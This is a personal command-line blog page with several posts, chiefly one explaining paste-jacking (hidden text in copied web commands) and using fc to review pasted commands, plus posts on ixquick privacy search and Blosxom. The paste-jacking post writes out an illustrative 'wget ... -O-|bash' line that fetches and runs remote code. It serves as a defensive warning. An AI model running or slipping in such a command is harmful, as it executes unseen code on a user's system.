c0d3 :: j0rg3

A collection of tips, tricks and snips. A proud Blosxom weblog. All code. No cruft.

Thu, 04 Jul 2013

Preventing paste-jacking with fc

Paste-jacking: what? It’s a somewhat tongue-in-cheek name representing that, when it comes to the web, what you see is not necessarily what you copy.

Content can be hidden inside of what you’re copying. For example: ls /dev/null; echo " Something nasty could live here! 0_o ";
ls
-l

Paste below to see what lurks in the <span> that you’re not seeing:

If pasted to the command line, this could cause problems. It might seem trivial but it isn’t if you give it some thought. If I had compiled a command that could be considered a single line, but a very long line then commands could easily be slipped in and it might not jump out at you. Given the right kind of post, it could even involve a sudo and one might give very little thought to typing in a password, handing all power over. It even could be something like: wget -q "nasty-shell-code-named-something-harmless-sounding" -O-|bash
clear

Then it would, of course, continue with innocuous commands that might do something that takes your attention and fills your screen with things that look comforting and familiar, like an apt-get update followed by an upgrade.

In this way, an unsuspecting end-user could easily install a root-kit on behalf of Evil Genius™.

So what’s the cure?

Some suggest that you never copy and paste from web pages. That’s solid advice. You’ll learn more by re-typing and nothing is going to be hidden. The downside is it isn’t entirely practical. It’s bound to be one of those things that, in certain circumstances, we know that we ought do but don’t have time or patience for, every single time.

To the rescue comes our old friend fc! Designed for letting you build commands in a visual editor, it is perfect for this application. Just type fc at the command line and then paste from the web page into your text editor of choice. When you’re satisfied with the command, exit the editor. The line will be executed and there won’t be a shred of doubt about what, precisely, is being executed.

This isn’t really the intended use of fc, so it’s a makeshift solution. fc opens with the last command already on screen. So, you do have to delete that before building your new command but it’s an insignificant inconvenience in exchange for the ability to know what’s going to run before it has a chance to execute.

Read more at ush.it and h-online.com.


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Permalink: 20130704.prevent.paste-jacking.with.fc

Sun, 09 Jun 2013

ixquick link maker

In an effort to promote practical privacy measures, when I send people links to search engines, I choose ixquick. However, my personal settings submit my search terms via POST data rather than GET, meaning that the search terms aren’t in the URL.

Recently, I’ve found myself hand-crafting links for people and then I paste the link into a new tab, to make sure I didn’t fat-finger anything. Not a problem per se, but the technique leaves room for a bit more efficiency. So I’ve taken the ‘A Search Box on Your Website’ tool offered by ixquick and slightly modified the code it offers, to use GET variables, in a new tab where I can then copy the URL and provide the link to others.

You can test, or use, it here — I may add it (or a variant that just provides you the link) to the navigation bar above. First, though, I’m going to mention the need to the outstanding minds at ixquick because it would make a LOT more sense on their page than on mine.


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Permalink: 20130609.ixquick.search

Thu, 30 May 2013

Making ixquick your default search engine

In this writer’s opinion, it is vitally important that we take reasonable measures now to help insure anonymity, lest we create a situation where privacy no longer exists, and the simple want of, becomes suspicious.

Here’s how to configure your browser to automatically use a search engine that respects your privacy.

Chrome:

  1. Click Settings.
  2. Click “Set pages” in the “On startup” section.
  3. Enter https://ixquick.com/eng/ in the “Add a new page” text field.
  4. Click OK.
  5. Click “Manage search engines…”
  6. At the bottom of the “Search Engines” dialog, click in the “Add a new search engine” field.
  7. Enter
    ixquick
    ixquick.com
    https://ixquick.com/do/search?lui=english&language=english&cat=web&query=%s
  8. Click “Make Default”.
  9. Click “Done”.

Firefox:

  1. Click the Tools Menu.
  2. Click Options.
  3. Click the General tab.
  4. In “When Firefox Starts” dropdown, select “Show my home page”.
  5. Enter https://ixquick.com/eng/ in the “Home Page” text field.
  6. Click one of the English options here.
  7. Check box for “Start using it right away.”
  8. Click “Add”.

Opera:

  1. Click “Manage Search Engines
  2. Click “Add”
  3. Enter
    Name: ixquick
    Keyword: x
    Address: https://ixquick.com/do/search?lui=english&language=english&cat=web&query=%s
  4. Check “Use as default search engine”
  5. Click “OK”

Internet Explorer:

      _     ___  _ __        ___   _ _____ ___ 
     | |   / _ \| |\ \      / / | | |_   _|__ \
     | |  | | | | | \ \ /\ / /| | | | | |   / /
     | |__| |_| | |__\ V  V / | |_| | | |  |_| 
     |_____\___/|_____\_/\_/   \___/  |_|  (_) 
    
    
    (This is not a good strategy for privacy.)

Congratulations!

\o/

You are now one step closer to not having every motion on the Internet recorded.

This is a relatively small measure, though. You can improve your resistance to prying eyes (e.g., browser fingerprinting) by using the Torbrowser Bundle, or even better, Tails, and routing your web usage through Tor, i2p, or FreeNet.

If you would like more on subjects like anonymyzing, privacy and security then drop me a line via email or Bitmessage me: BM-2D9tDkYEJSTnEkGDKf7xYA5rUj2ihETxVR


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Permalink: 20130530.hey.you.get.offa.my.data

Tue, 07 May 2013

Welcome, traveler.

Thanks for visiting my little spot on the web. This is a Blosxom ‘blog which, for those who don’t know, is a CGI written in Perl using the file-system (rather than a database).

To the CLI-addicted, this is an awesome little product. Accepting, of course, that you’re going to get under the hood if you’re going to make it the product you want. After some modules and hacking, I’m pleased with the result.

My posts are just text files, meaning I start a new one like: vim ~posts/`date +%Y%m%d`.brief.subject.txt

Note: the back-ticks (`) tell the system that you want to execute the command between ticks, and dynamically insert its output into the command. In this case, the command date with these parameters:
  1. (+) we’re going to specify a format
  2. (%Y) four-digit year
  3. (%m) two-digit month
  4. (%d) two-digit day
That means the command above will use Vim to edit a text file named ‘20130507.brief.subject.txt’ in the directory I have assigned to the hash of ‘posts’. (using hash this way is a function of Zsh that I’ll cover in another post)

In my CLI-oriented ‘blog, I can sprinkle in my own HTML or use common notation like wrapping a word in underscores to have it underlined, forward-slashes for italics and asterisks for bold.

Toss in a line that identifies tags and, since Perl is the beast of Regex, we pick up the tags and make them links, meta-tags, etc.

Things here are likely to change a lot at first, while I twiddle with CSS and hack away at making a Blosxom that perfectly fits my tastes — so don’t be too alarmed if you visit and things look a tad wonky. It just means that I’m tinkering.

Once the saw-horses have been tucked away, I’m going to take the various notes I’ve made during my years in IT and write them out, in a very simple breakdown, aimed at sharing these with people who know little about how to negotiate the command line. The assumption here is that you have an interest in *nix/BSD. If you’ve that and the CLI is not a major part of your computing experience, it probably will be at some point. If you’re working on systems remotely, graphical interfaces often just impede you.

Once you’ve started working on remote machines, the rest is inevitable. You can either remember how to do everything two ways, through a graphical interface and CLI — or just start using the CLI for everything.

So let’s take a little journey through the kinds of things that make me love the CLI.


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Permalink: 20130507.greetings